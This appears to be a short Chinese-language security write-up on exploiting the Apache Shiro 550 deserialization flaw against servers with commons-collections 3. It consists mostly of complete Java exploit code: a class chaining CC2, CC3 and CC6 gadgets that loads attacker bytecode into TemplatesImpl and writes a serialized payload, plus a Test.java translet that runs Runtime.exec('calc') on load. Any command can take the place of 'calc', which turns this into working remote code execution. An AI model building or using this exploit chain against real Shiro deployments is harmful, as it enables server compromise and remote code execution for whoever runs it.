shiro 550在CC链下的利用比较特殊,默认是没有commons-collects依赖的,如果对方用commons-collects3直接用CC6的话没法利用,而ysoserial只有CC2能打shiro+commons-collects这条链的,而CC2对应的commons-collects版本为4,当commons-collects版本为3时就没有对应的链了,主要原因是shiro中反序列化重写了resolveClass,不能处理数组,如果想打commons-collects3需要结合CC2、CC3、CC6,具体代码如下
package com.superman; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class ShiroCC { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { //CC3 TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = aClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C://Test.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); //CC2 InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null); //CC6 HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazyMap.remove(templates); Class<LazyMap> c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,invokerTransformer); serialize(map2); } public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt")); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object object = objectInputStream.readObject(); return object; } }
Test.java
package com.superman; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }